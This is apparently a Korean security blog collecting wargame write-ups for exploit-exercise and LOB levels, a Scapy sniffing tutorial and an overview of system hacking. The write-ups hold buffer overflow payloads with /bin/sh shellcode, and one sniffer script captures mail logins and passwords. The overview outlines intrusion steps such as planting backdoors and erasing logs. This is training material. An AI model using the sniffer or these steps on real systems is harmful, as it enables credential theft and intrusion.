1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   char buffer[64];  
  14.   
  15.   gets(buffer);  
  16. }  


80byte를 덮으니 eip가 바뀐다 흠 더미가 아마 12byte 정도 붙은것 같은데 뭐 상관없지


payload

(python -c 'print "A"*76 + "\x4d\x84\x04\x08"';cat;) | ./stack4

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack3  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

친구에게 알려주면서 오랫만에 포스팅 한다.


  1. #include <stdlib.h>  
  2. #include <unistd.h>  
  3. #include <stdio.h>  
  4. #include <string.h>  
  5.   
  6. void win()  
  7. {  
  8.   printf("code flow successfully changed\n");  
  9. }  
  10.   
  11. int main(int argc, char **argv)  
  12. {  
  13.   volatile int (*fp)();  
  14.   char buffer[64];  
  15.   
  16.   fp = 0;  
  17.   
  18.   gets(buffer);  
  19.   
  20.   if(fp) {  
  21.       printf("calling function pointer, jumping to 0x%08x\n", fp);  
  22.       fp();  
  23.   }  
  24. }  


eip를 찾아 win 함수의 주소로 덮어 씌우면 될것 같다.


역시 쉬운문제를 풀면 뭔가 힐링이 되는것 같다.



payload

(python -c 'print "A"*64 + "\x7d\x84\x04\x08"';cat;) | ./stack3

'pwnable > exploit-exercise' 카테고리의 다른 글

stack5  (0) 2017.02.24
stack4  (0) 2017.02.24
stack2  (0) 2016.07.11
stack1  (0) 2016.07.09
stack0  (0) 2016.07.09

  1. #include <stdio.h>  
  2. #include <stdlib.h>  
  3.   
  4. extern char **environ;  
  5.   
  6. main(int argc, char *argv[])  
  7. {  
  8.         char buffer[40];  
  9.         int i;  
  10.   
  11.         if(argc < 2){  
  12.                 printf("argv error\n");  
  13.                 exit(0);  
  14.         }  
  15.   
  16.         // egghunter  
  17.         for(i=0; environ[i]; i++)  
  18.                 memset(environ[i], 0, strlen(environ[i]));  
  19.   
  20.         if(argv[1][47] != '\xbf')  
  21.         {  
  22.                 printf("stack is still your friend.\n");  
  23.                 exit(0);  
  24.         }  
  25.   
  26.         strcpy(buffer, argv[1]);  
  27.         printf("%s\n", buffer);  
  28. }  


역시 취약점이 발생하는 부분은 strcpy(buffer, argv[1]); 이부분이다.


소스코드를 보면 알겠지만 환경변수를 이용한 방법은 통하지 않는다.


따라서 argv[2]에 nop과 쉘코드를 박아 리턴주소에 덮어 씌우면 될것 같다.



strcpy함수를 보아 edx에 argv[1]의 값이 저장되어 있을 것이다.


조건에 맞추어 "\xbf"로 buffer를 덮어주고 argv[2]의 값을 확인해보자.



예상대로 argv[1]의 주소이다.


\x90이 시작되는 부분이 argv[2]의 시작주소이고 ret 주소는 넉넉하게 0xbffffc9b로 주도록 하자.


./ord `python -c 'print "A"*44 + "\x74\xfc\xff\xbf"'``python -c 'print "\x90*100 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\e1\x89\xc2\xb0\x0b\xcd\x80"'`


'pwnable > LOB' 카테고리의 다른 글

LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main()  
  2. {  
  3.     char buffer[16];  
  4.     gets(buffer);  
  5.     printf("%s\n",buffer);  
  6. }  


대놓고 취약점을 준다.



buffer(16) + sfp(4) + ret(4)  나머지는 D로 채웠다.


0x43434343으로 덮인 곳이 ret의 주소이고 이 주소를 덮으면 될 것 같다.


덮을 주소는 적당하게 0xbffffb74를 주도록하자. 


payload

$(python -c 'print "\x90"*20 + "\x74\xfb\xff\xbf" + "\x90"*200 + shellcode';cat) | ./goblin



hackers proof


'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[16];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


1번문제와 다른점은 buffer의 사이즈가 작다는 것이다.


두가지 방법으로 풀 수 있는데


첫번째 방법은 argv[2]는 입력 제한이 없으므로 argv[2]의 주소를 ret의 주소로 덮어씌우는 방법이다.

두번째 방법은 환경변수를 이용한 방법인데


첫번째 방법이 간단해보이므로 첫번째 방법을 이용하도록 하겠다.




argv[ ]의 인자는 프로그램 시작과 동시에 전달되므로 


main+3에 브레이크 포인트를 걸고 살펴보자.



r`python -c 'print "\x90"*20 + "BBBB"'``python -c 'print "A"*240'` 


예쁘게 덮이지는 않았지만 그래도 덮인 모습이 눈에 보인다.


buffer(16) + sfp(4)  + ret 이므로


\x42424242 로 덮인 부분이 eip 주소이며 이 부분을 덮어주면 될 것이다


리턴주소는 적당하게 \xc8\xfb\xff\xbf 로 잡아주자.


payload

./cobolt `python -c 'print "\x90"*20 + "\xc8\xfb\xff\xbf"'``python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`



hacking exposed



'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB - gate -> gremlin  (0) 2017.02.07
  1. int main(int argc, char*argv[])  
  2. {  
  3.     char buffer[256];  
  4.     if(argc < 2){  
  5.         printf("argv error\n");  
  6.         exit(0);  
  7.     }  
  8.     strcpy(buffer, argv[1]);  
  9.     printf("%s\n",buffer);  
  10. }  


gremlin.c가 보여주는 소스코드이다.


strcpy( buffer, argv[1]) ; 에서 오버플로우 취약점이 발생한다.


사용할 쉘코드는 41byte이며 다음과 같다.

"\x31\xc0\xb0\x31\xcd \x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f \x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd \x80"



264byte를 덮어주니 eip가 바뀌면서 Segmentation fault를 내뿜는 모습을 확인할 수 있다.


LOB는 랜덤스택이 적용되지 않는다는 점을 감안하여


buffer(256) + sfp(4) = 260byte 뒤가 바로 ret(eip) 주소일 것이다.



제대로 덮인 것을 확인할 수 있다.


이제 저 스택을 NOP(\x90) 과 쉘코드를 채운 후 리턴주소를 조작하여 쉘을 획득해보자.


"\x90" * 200 + shellcode(41) + "\x90" * 19 + ret주소(적당히 \xe0\xfb\xff\xbf)



hello bof world





'pwnable > LOB' 카테고리의 다른 글

LOB goblin -> orc  (0) 2017.02.07
LOB cobolt -> goblin  (0) 2017.02.07
LOB gremlin -> cobolt  (0) 2017.02.07

파이썬으로 구현된 Scapy라는 패키지를 이용하면 보다 쉽게 패킷을 스니핑 할 수 있다.


[ 설치 ]

sudo pip install scapy 혹은 https://github.com/phaethon/scapy


[ 스니퍼 구현 ]


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. def showPacket(packet):  
  5.     a = packet.show()  
  6.     print a  
  7.   
  8. def sniffing(filter):  
  9.     sniff(filter = filter, prn = showPacket, count = 1)  
  10.   
  11. if __name__ == '__main__':  
  12.     filter = 'ip'  
  13.     sniffing(filter)  


[ 코드 1 ] Scapy를 이용한 패킷 스니퍼 - sniffer1.py


[ 결과 ] 





sniff( )

Scapy가 제공하는 sniff( )는 네트워크 패킷을 스니핑 하는 함수이다. 주요 인자는 다음과 같다.


인자 

설명 

count 

패킷을 캡쳐하는 횟수 0이면 중지할때까지 캡쳐한다. 

store 

캡쳐한 패킷을 저장할 것인지 지정 모니터링만 원하면 0으로 지정한다.

prn 

캡쳐한 패킷을 처리하기 위한 함수 지정. 지정한 함수의 인자는 캡쳐한 패킷으로 정해진다. 

filter 

원하는 패킷만 볼 수 있는 필터를 지정한다. 

timeout

스니핑 수행 시간을 지정한다. 시간이 지나면 종료한다. 

iface 

네트워크 인터페이스를 지정한다. 


[ 설명 ]

sniff( )의 prn 인자로 입력될 함수를 showPacket으로 지정했다. sniff( )가 showPacket( )을 호출할 때 이 함수의 인자인 pakcet에 캡쳐한 패킷을 자동으로 넘겨준다. packet.show( )는 캡쳐한 패킷을 보기 쉽게 변환한다.


sniff( )가 캡쳐한 패킷을 MAC 주소 계층인 데이터링크 계층부터 TCP/UDP 계층까지 보여준다.

각 계층은 다음과 같이 접근할 수 있다.


구분

설명 

packet 

sniff( )가 캡쳐한 패킷. prn인자로 지정된 함수의 인자로 전달한다. 

packet[0][0] 

MAC Address 

packet[0][1] 

IP Address, packet[IP] 로도 접근 가능 

packet[0][2] 

TCP, UDP, ICMP 계층, 각각 packet[TCP], packet[UDP], packet[ICMP]로 접근 가능 



사용 예


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. protocols = {1:'ICMP'6:'TCP'17:'UDP'}  
  5.   
  6. def showPacket(packet):  
  7.     src_ip = packet[0][1].src  
  8.     dst_ip = packet[0][1].dst  
  9.     proto = packet[0][1].proto  
  10.   
  11.     if proto in protocols:  
  12.         print "protocol: %s: %s -> %s" %(protocols[proto], src_ip, dst_ip)  
  13.   
  14.         if proto == 1:  
  15.             print "TYPE: [%d], CODE[%d]" %(packet[0][2].type, packet[0][2].code)  
  16.   
  17. def sniffing(filter):  
  18.     sniff(filter = filter, prn = showPacket, count = 0)  
  19.   
  20. if __name__ == '__main__':  
  21.     filter = 'ip'  
  22.     sniffing(filter)  


[ 코드 2 ] scapy를 이용한 패킷스니퍼 2 - sniffer2.py 



결과




메세지 내용 가로채기


예를들어 공격자가 메일 내용을 가로채서 분석하고자 하는 경우

메일 서버로부터 오가는 정보만 추출하여 분석하는 것이 효율적이다.

메일을 위한 프로토콜인 SMTP, POP3, IMAP은 각각 25번, 110번, 143번 포트를 사용한다.


따라서 공격자는 TCP포트중 25, 110, 143번 포트로 오고가는 정보를 스니핑 하면 된다.


만약 웹을 통해 오가는 정보만 추출하여 분석하고자 한다면 80포트로 오고가는 정보를 가로채면 된다.


  1. #!/usr/bin/python  
  2. from scapy.all import*  
  3.   
  4. def showPacket(packet):  
  5.     data = '%s' %(paket[TCP].payload)  
  6.     if 'user' in data.lower() or 'pass' in data.lower():  
  7.         print '+++[%s]: %s' %(packet[IP].dst, data)  
  8.   
  9. def sniffing(filter):  
  10.     sniff(filter = filter, prn = showPacket, count = 0, store = 0)  
  11.   
  12. if __name__ == '__main__':  
  13.     filter = 'tcp port 25 or tcp port 110 or tcp port 143'  
  14.     sniffing(filter)  


[ 코드 3 ] 메일 사용자 ID 및 패스워드 스니퍼 - sniffer3.py



코드 3은 메일 서버가 사용하는 포트인 25, 110, 143번을 통해 오고가는 TCP 정보만 가로챈다

TCP를 통해 전송되는 메세지에 'user' 나 'pass'라는 단어가 있으면 화면에 출력한다.


  1.     data = '%s' %(paket[TCP].payload)  
  2.     if 'user' in data.lower() or 'pass' in data.lower():  
  3.         print '+++[%s]: %s' %(packet[IP].dst, data)


packet[TCP].payload는 TCP 헤더를 제외한 실제 메세지를 추출한다.

이 메세지를 문자열로 변환하고 'user'나 'pass' 라는 단어가 있으면 서버 IP와 TCP메세지를 화면에 출력한다,


  1. if __name__ == '__main__':  
  2.     filter = 'tcp port 25 or tcp port 110 or tcp port 143'  
  3.     sniffing(filter)  


sniff( )에 프로토콜이 TCP 이고 포트가 25, 110, 143번인 것만 스니핑 하도록 인자로 전달한다.


위의 코드는 메일 서버가 운영되는 서버 또는 메일 서버의 서브네트워크에 연결된 호스트에서 활용가능하다. 메일서버로 송수신되는 정보가 암호화되어 있지 않을 경우 운이 좋다면 ID와 패스워드를 스니핑 할 수 있다.


[ 스니핑 방어 대책 ]


1. 패킷 스니퍼가 설치될 수 없도록 네트워크 미디어에 대한 물리적 접근 제한

2. 중요 정보에 대해 암호화 사용

3. ARP 스푸핑 방지를 위해 정적 IP와 ARP 테이블을 사용

4. ARP 캐시에 게이트웨이 영구 MAC 주소 설정

5. SSH나 SCP, SSL등과 같은 암호화 세션 사용

6. 브로드캐스트 기능 OFF


※ 코드의 부적절한 사용으로 인한 모든 책임은 사용자에 있습니다.

시스템 해킹이란?


시스템 해킹이란 대상 시스템에 직접 침입하여 행해지는 해킹으로 네트워크 해킹과 함께 이어지는 것이 일반적이다. 시스템 해킹은 컴퓨터 시스템의 관리자 권한을 획득하여 시스템을 제어하고 해심 정보를 빼오는 시스템 탈취와 정보를 삭제하고 하드웨어를 파괴하는 행위인 시스템 파괴를 포함하는 해킹 유형이다.


시스템 해킹에서 가장 중요한 것은 root(관리자) 권한을 획득하는 것이다.

이는 루트 계정의 패스워드를 알아내거나 무력화 시키는 것이 핵심이다.


시스템 해킹에서 자주 사용되는 해킹 기법에는 다음과 같은 것들이 있다.


- Buffer Overflow (버퍼 오버플로우)

- Race Condition (레이스 컨디션)

- Command Injection (커맨드 인젝션)

- Format String (포맷 스트링)

- Back Door (백도어)


이런 기법들을 활용하여 공격자들이 해킹하는 일반적인 절차는 다음과 같다.


1. 터미널 분비


해킹 대상 시스템에 원격으로 접속할 수 있는 터미널을 준비한다.

해킹 대상이 Window인 경우 Cygwin을 많이 사용하며 Unix, Linux 계열의 경우 PuTTY, Xshell을 많이 사용한다.


2. 안전성 확보


공격자 본인의 컴퓨터를 안전하게 만든다. 자신의 컴퓨터나 네트워크 도 공격당할 수 있고 전원지를 추적당할 수 있으므로 이에 대한 대비책을 마련한다. 대표적인 예로 Proxy 우회를 통한 ip 주소 변조 등이 있다.


3. 해킹 대상 테스트


해킹 대상 시스템을 면밀하게 테스트 한다. 

예를들어 ping으로 대상 시스템이 어떻게 응답하는지 알아보는 것도 하나의 방법이다.


4. 해킹 대상 OS 확인


해킹 대상 시스템의 OS가 어떤 것인지 확인한다.

ping 명령어를 통해 TTL 값을 받아올 수 있다면 확인 가능하지만 그렇지 않을 경우

Nmap 등의 툴을 이용하여 시스템의 포트를 스캔한다.


Nmap은 시스템이 오픈하고 있는 포트를 보여주며 사용자가 사용하고 있는 방화벽과 라우터 종류에 대해서도 알려주며 시스템의 OS또한 알려준다. 이러한 정보를 바탕으로 대상 시스템을 어떻게 해킹할 것인지 계획을 세운다.


5. 침입 경로 탐색


시스템에 침입하기 위한 경로를 탐색한다. 

21번포트(FTP) 나 80번 포트(HTTP)는 대체로 보안이 잘 되어 있는 편이다.

따라서 telnet(23번 혹은 사용자 설정) 이나 다른 TCP, UDP 포트로 접근을 시도한다.

SSH 서비스가 동작중이면 22번 포트가 열려 있으므로 이를 통해 접근을 시도한다.


6. 루트 권한 획득


시스템을 완전히 장악하기 위해서는 관리자 권한 혹은 루트(root)권한이 필요하다.

Windows의 경우 administrator이며 Linux 또는 BSD 계열인 경우 root이다.

네트워크 장치인 라우터는 보통 admin으로 되어 있다.


공격자들이 루트 권한을 획득하기 위해 자주 사용하는 기법은 Buffer Overflow이다. 그들이 심어 놓은 특정 코드를 실행하게 함으로써 root 권한을 획득할 수 있다.


루트 권한을 획득하기 위해 대상 시스템의 보안 취약점이 있는 

프로그램 혹은 바이너리를 찾아 공략하는 것이 일방적인 방법이다. 

이후 백도어를 만든 뒤 로그를 지워 흔적을 없앤다.


[ 웹 서버 공격 ]


일반인이 가장 자주 접하는 시스템이 있다면 바로 웹 서버일 것이다.

우리가 인터넷을 한다는 것은 웹 브라우저로 원격에 있는 웹 서버에 원하는 서비스를 요청하고웹 서버가 적절한 처리 후 웹 브라우저로 응답하여 그 결과를 보는 반복적인 행위이다. 

또한 웹 서버에 연결된 데이터베이스 서버에는 개인정보들이 저장되어 있기도 하다. 


웹서버 해킹 유형에는 다음과 같은 것들이 있다.


디렉터리 이동 공격 

공개 도메인에 나타나지 않은 비인가 파일이나 폴더에 접근하여 

중요 정보를 탈취하는 방법. 따따 슬래쉬( . . / ) 공격이라고도 함


서비스 거부 공격( DOS )

웹 서버를 폭주시켜 다른 사람들이 웹 서버가 제공하는 서비스를 이용하지 못하게 하는 방법


스니핑( Snipping )

네트워크 상에서 암호화 되지 않은 정보를 가로챈 후

이 정보를 활용하여 접근 권한이 없는 웹 서버에 접근하는 방법이다.


피싱( Pishing )

불특정 다수에게 이메일을 발송하여 위장된 웹 사이트로 접속하도록 한 후 각종 개인정보를 탈취한다.


파밍 ( Pharming )

DNS를 탈취하거나 DNS, 프록시 서버 주소를 변조하여 특정 사이트로 접속하는 사용자들을

진짜 사이트로 오인할 수 있는 가짜 사이트로 유인한 후 각종 개인정보들을 탈취하는 방법이다.

'pwnable' 카테고리의 다른 글

2013 plaied CTF ropasaurusrex writeup  (0) 2016.09.22

+ Recent posts